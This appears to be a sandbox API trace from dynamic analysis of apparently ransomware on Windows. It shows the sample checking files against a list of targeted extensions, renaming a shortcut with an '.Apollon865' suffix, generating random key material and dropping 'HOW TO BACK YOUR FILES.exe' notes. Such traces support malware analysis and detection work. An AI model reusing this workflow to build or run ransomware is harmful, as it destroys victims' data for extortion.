	[0053.989] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1
	[0053.989] lstrlenW (lpString="cpd") returned 3
	[0053.989] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1
	[0053.989] lstrlenW (lpString="dacpac") returned 6
	[0053.989] lstrcmpiW (lpString1="er.lnk", lpString2="dacpac") returned 1
	[0053.989] lstrlenW (lpString="dad") returned 3
	[0053.989] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1
	[0053.989] lstrlenW (lpString="dadiagrams") returned 10
	[0053.989] lstrcmpiW (lpString1="itcher.lnk", lpString2="dadiagrams") returned 1
	[0053.989] lstrlenW (lpString="daschema") returned 8
	[0053.989] lstrcmpiW (lpString1="cher.lnk", lpString2="daschema") returned -1
	[0053.990] lstrlenW (lpString="db-journal") returned 10
	[0053.990] lstrcmpiW (lpString1="itcher.lnk", lpString2="db-journal") returned 1
	[0053.990] lstrlenW (lpString="db-shm") returned 6
	[0053.990] lstrcmpiW (lpString1="er.lnk", lpString2="db-shm") returned 1
	[0053.990] lstrlenW (lpString="db-wal") returned 6
	[0053.990] lstrcmpiW (lpString1="er.lnk", lpString2="db-wal") returned 1
	[0053.990] lstrlenW (lpString="dbc") returned 3
	[0053.990] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1
	[0053.990] lstrlenW (lpString="dbs") returned 3
	[0053.990] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1
	[0053.990] lstrlenW (lpString="dbt") returned 3
	[0053.990] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1
	[0053.990] lstrlenW (lpString="dbv") returned 3
	[0053.990] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1
	[0053.990] lstrlenW (lpString="dbx") returned 3
	[0053.990] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1
	[0053.990] lstrlenW (lpString="dcb") returned 3
	[0053.990] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1
	[0053.990] lstrlenW (lpString="dct") returned 3
	[0053.990] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1
	[0053.990] lstrlenW (lpString="dcx") returned 3
	[0053.990] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1
	[0053.990] lstrlenW (lpString="ddl") returned 3
	[0053.990] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1
	[0053.990] lstrlenW (lpString="dlis") returned 4
	[0053.990] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1
	[0053.990] lstrlenW (lpString="dp1") returned 3
	[0053.990] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1
	[0053.990] lstrlenW (lpString="dqy") returned 3
	[0053.990] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1
	[0053.990] lstrlenW (lpString="dsk") returned 3
	[0053.990] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1
	[0053.990] lstrlenW (lpString="dsn") returned 3
	[0053.990] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1
	[0053.991] lstrlenW (lpString="dtsx") returned 4
	[0053.991] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1
	[0053.991] lstrlenW (lpString="dxl") returned 3
	[0053.991] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1
	[0053.991] lstrlenW (lpString="eco") returned 3
	[0053.991] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1
	[0053.991] lstrlenW (lpString="ecx") returned 3
	[0053.991] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1
	[0053.991] lstrlenW (lpString="edb") returned 3
	[0053.991] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1
	[0053.991] lstrlenW (lpString="epim") returned 4
	[0053.991] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1
	[0053.991] lstrlenW (lpString="fcd") returned 3
	[0053.991] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1
	[0053.991] lstrlenW (lpString="fdb") returned 3
	[0053.991] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1
	[0053.991] lstrlenW (lpString="fic") returned 3
	[0053.991] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1
	[0053.991] lstrlenW (lpString="flexolibrary") returned 12
	[0053.991] lstrcmpiW (lpString1="Switcher.lnk", lpString2="flexolibrary") returned 1
	[0053.991] lstrlenW (lpString="fm5") returned 3
	[0053.991] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1
	[0053.991] lstrlenW (lpString="fmp") returned 3
	[0053.991] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1
	[0053.991] lstrlenW (lpString="fmp12") returned 5
	[0053.991] lstrcmpiW (lpString1="r.lnk", lpString2="fmp12") returned 1
	[0053.991] lstrlenW (lpString="fmpsl") returned 5
	[0053.991] lstrcmpiW (lpString1="r.lnk", lpString2="fmpsl") returned 1
	[0053.991] lstrlenW (lpString="fol") returned 3
	[0053.991] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1
	[0053.991] lstrlenW (lpString="fp3") returned 3
	[0053.991] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1
	[0053.991] lstrlenW (lpString="fp4") returned 3
	[0053.991] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1
	[0053.991] lstrlenW (lpString="fp5") returned 3
	[0053.992] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1
	[0053.992] lstrlenW (lpString="fp7") returned 3
	[0053.992] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1
	[0053.992] lstrlenW (lpString="fpt") returned 3
	[0053.992] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1
	[0053.992] lstrlenW (lpString="frm") returned 3
	[0053.992] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1
	[0053.992] lstrlenW (lpString="gdb") returned 3
	[0053.992] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0053.992] lstrlenW (lpString="gdb") returned 3
	[0053.992] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0053.992] lstrlenW (lpString="grdb") returned 4
	[0053.992] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1
	[0053.992] lstrlenW (lpString="gwi") returned 3
	[0053.992] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1
	[0053.992] lstrlenW (lpString="hdb") returned 3
	[0053.992] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1
	[0053.992] lstrlenW (lpString="his") returned 3
	[0053.992] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1
	[0053.992] lstrlenW (lpString="ib") returned 2
	[0053.992] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1
	[0053.992] lstrlenW (lpString="idb") returned 3
	[0053.992] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1
	[0053.992] lstrlenW (lpString="ihx") returned 3
	[0053.993] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1
	[0053.993] lstrlenW (lpString="itdb") returned 4
	[0053.993] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1
	[0053.993] lstrlenW (lpString="itw") returned 3
	[0053.993] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1
	[0053.993] lstrlenW (lpString="jet") returned 3
	[0053.993] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1
	[0053.993] lstrlenW (lpString="jtx") returned 3
	[0053.993] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1
	[0053.993] lstrlenW (lpString="kdb") returned 3
	[0053.993] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1
	[0053.993] lstrlenW (lpString="kexi") returned 4
	[0053.993] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1
	[0053.993] lstrlenW (lpString="kexic") returned 5
	[0053.993] lstrcmpiW (lpString1="r.lnk", lpString2="kexic") returned 1
	[0053.993] lstrlenW (lpString="kexis") returned 5
	[0053.993] lstrcmpiW (lpString1="r.lnk", lpString2="kexis") returned 1
	[0053.993] lstrlenW (lpString="lgc") returned 3
	[0053.993] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1
	[0053.993] lstrlenW (lpString="lwx") returned 3
	[0053.993] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1
	[0053.993] lstrlenW (lpString="maf") returned 3
	[0053.993] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1
	[0053.993] lstrlenW (lpString="maq") returned 3
	[0053.993] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1
	[0053.993] lstrlenW (lpString="mar") returned 3
	[0053.993] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1
	[0053.993] lstrlenW (lpString="marshal") returned 7
	[0053.993] lstrcmpiW (lpString1="her.lnk", lpString2="marshal") returned -1
	[0053.993] lstrlenW (lpString="mas") returned 3
	[0053.993] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1
	[0053.993] lstrlenW (lpString="mav") returned 3
	[0053.993] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1
	[0053.993] lstrlenW (lpString="maw") returned 3
	[0053.993] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1
	[0053.994] lstrlenW (lpString="mdbhtml") returned 7
	[0053.994] lstrcmpiW (lpString1="her.lnk", lpString2="mdbhtml") returned -1
	[0053.994] lstrlenW (lpString="mdn") returned 3
	[0053.994] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1
	[0053.994] lstrlenW (lpString="mdt") returned 3
	[0053.994] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1
	[0053.994] lstrlenW (lpString="mfd") returned 3
	[0053.994] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1
	[0053.994] lstrlenW (lpString="mpd") returned 3
	[0053.994] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1
	[0053.994] lstrlenW (lpString="mrg") returned 3
	[0053.994] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1
	[0053.994] lstrlenW (lpString="mud") returned 3
	[0053.994] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1
	[0053.994] lstrlenW (lpString="mwb") returned 3
	[0053.994] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1
	[0053.994] lstrlenW (lpString="myd") returned 3
	[0053.994] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1
	[0053.994] lstrlenW (lpString="ndf") returned 3
	[0053.994] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1
	[0053.994] lstrlenW (lpString="nnt") returned 3
	[0053.994] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1
	[0053.994] lstrlenW (lpString="nrmlib") returned 6
	[0053.994] lstrcmpiW (lpString1="er.lnk", lpString2="nrmlib") returned -1
	[0053.994] lstrlenW (lpString="ns2") returned 3
	[0053.994] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1
	[0053.994] lstrlenW (lpString="ns3") returned 3
	[0053.994] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1
	[0053.994] lstrlenW (lpString="ns4") returned 3
	[0053.994] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1
	[0053.994] lstrlenW (lpString="nsf") returned 3
	[0053.994] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1
	[0053.994] lstrlenW (lpString="nv") returned 2
	[0053.994] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1
	[0053.995] lstrlenW (lpString="nv2") returned 3
	[0053.995] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1
	[0053.995] lstrlenW (lpString="nwdb") returned 4
	[0053.995] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1
	[0053.995] lstrlenW (lpString="nyf") returned 3
	[0053.995] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1
	[0053.995] lstrlenW (lpString="odb") returned 3
	[0053.995] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0053.995] lstrlenW (lpString="odb") returned 3
	[0053.995] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0053.995] lstrlenW (lpString="oqy") returned 3
	[0053.995] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1
	[0053.995] lstrlenW (lpString="ora") returned 3
	[0053.995] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1
	[0053.995] lstrlenW (lpString="orx") returned 3
	[0053.995] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1
	[0053.995] lstrlenW (lpString="owc") returned 3
	[0053.995] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1
	[0053.995] lstrlenW (lpString="p96") returned 3
	[0053.995] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1
	[0053.995] lstrlenW (lpString="p97") returned 3
	[0053.995] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1
	[0053.995] lstrlenW (lpString="pan") returned 3
	[0053.995] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1
	[0053.995] lstrlenW (lpString="pdb") returned 3
	[0053.995] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1
	[0053.995] lstrlenW (lpString="pdm") returned 3
	[0053.995] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1
	[0053.995] lstrlenW (lpString="pnz") returned 3
	[0053.995] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1
	[0053.995] lstrlenW (lpString="qry") returned 3
	[0053.995] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1
	[0053.995] lstrlenW (lpString="qvd") returned 3
	[0053.995] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1
	[0053.995] lstrlenW (lpString="rbf") returned 3
	[0053.996] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1
	[0053.996] lstrlenW (lpString="rctd") returned 4
	[0053.996] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1
	[0053.996] lstrlenW (lpString="rod") returned 3
	[0053.996] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1
	[0053.996] lstrlenW (lpString="rodx") returned 4
	[0053.996] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1
	[0053.996] lstrlenW (lpString="rpd") returned 3
	[0053.996] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1
	[0053.996] lstrlenW (lpString="rsd") returned 3
	[0053.996] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1
	[0053.996] lstrlenW (lpString="sas7bdat") returned 8
	[0053.996] lstrcmpiW (lpString1="cher.lnk", lpString2="sas7bdat") returned -1
	[0053.996] lstrlenW (lpString="sbf") returned 3
	[0053.996] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1
	[0053.996] lstrlenW (lpString="scx") returned 3
	[0053.996] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1
	[0053.996] lstrlenW (lpString="sdb") returned 3
	[0053.996] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1
	[0053.996] lstrlenW (lpString="sdc") returned 3
	[0053.996] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1
	[0053.996] lstrlenW (lpString="sdf") returned 3
	[0053.996] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1
	[0053.996] lstrlenW (lpString="sis") returned 3
	[0053.996] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1
	[0053.996] lstrlenW (lpString="spq") returned 3
	[0053.996] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1
	[0053.996] lstrlenW (lpString="te") returned 2
	[0053.996] lstrcmpiW (lpString1="nk", lpString2="te") returned -1
	[0053.996] lstrlenW (lpString="teacher") returned 7
	[0053.996] lstrcmpiW (lpString1="her.lnk", lpString2="teacher") returned -1
	[0053.996] lstrlenW (lpString="tmd") returned 3
	[0053.996] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1
	[0053.996] lstrlenW (lpString="tps") returned 3
	[0053.997] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1
	[0053.997] lstrlenW (lpString="trc") returned 3
	[0053.997] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0053.997] lstrlenW (lpString="trc") returned 3
	[0053.997] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0053.997] lstrlenW (lpString="trm") returned 3
	[0053.997] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1
	[0053.997] lstrlenW (lpString="udb") returned 3
	[0053.997] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1
	[0053.997] lstrlenW (lpString="udl") returned 3
	[0053.997] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1
	[0053.997] lstrlenW (lpString="usr") returned 3
	[0053.997] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1
	[0053.997] lstrlenW (lpString="v12") returned 3
	[0053.997] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1
	[0053.997] lstrlenW (lpString="vis") returned 3
	[0053.997] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1
	[0053.997] lstrlenW (lpString="vpd") returned 3
	[0053.997] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1
	[0053.997] lstrlenW (lpString="vvv") returned 3
	[0053.997] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1
	[0053.997] lstrlenW (lpString="wdb") returned 3
	[0053.997] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1
	[0053.997] lstrlenW (lpString="wmdb") returned 4
	[0053.997] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1
	[0053.997] lstrlenW (lpString="wrk") returned 3
	[0053.997] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1
	[0053.997] lstrlenW (lpString="xdb") returned 3
	[0053.997] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1
	[0053.997] lstrlenW (lpString="xld") returned 3
	[0053.997] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1
	[0053.997] lstrlenW (lpString="xmlff") returned 5
	[0053.997] lstrcmpiW (lpString1="r.lnk", lpString2="xmlff") returned -1
	[0053.998] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk.Apollon865") returned 104
	[0053.998] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\window switcher.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk.Apollon865" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\window switcher.lnk.apollon865"), dwFlags=0x1) returned 1
	[0053.998] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk.Apollon865" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\window switcher.lnk.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0053.998] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=272) returned 1
	[0053.998] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0053.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0053.999] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0053.999] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0053.999] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0054.000] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.000] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x410, lpName=0x0) returned 0x118
	[0054.008] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x410) returned 0x120000
	[0054.015] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0054.017] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0054.017] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.017] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0054.017] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0054.017] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.017] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.017] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.017] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.017] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0054.018] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.018] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0054.018] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.018] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0054.018] CloseHandle (hObject=0x118) returned 1
	[0054.018] CloseHandle (hObject=0xc0) returned 1
	[0054.018] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0054.018] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0054.018] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.018] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de6f76b, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e143190, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0
	[0054.018] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0054.019] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b70
	[0054.019] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned"
	[0054.019] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995a0 | out: hHeap=0x580000) returned 1
	[0054.019] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0054.019] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 85
	[0054.019] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned"
	[0054.019] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.019] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0054.019] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0054.019] GetLastError () returned 0x0
	[0054.019] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0054.019] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0054.020] CloseHandle (hObject=0x14c) returned 1
	[0054.020] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0054.020] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0054.020] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e542e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e542e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0054.020] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.020] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0054.020] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0054.020] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e542e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e542e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0054.020] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.020] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0054.020] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0054.020] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0054.020] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e542e50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e542e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.020] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
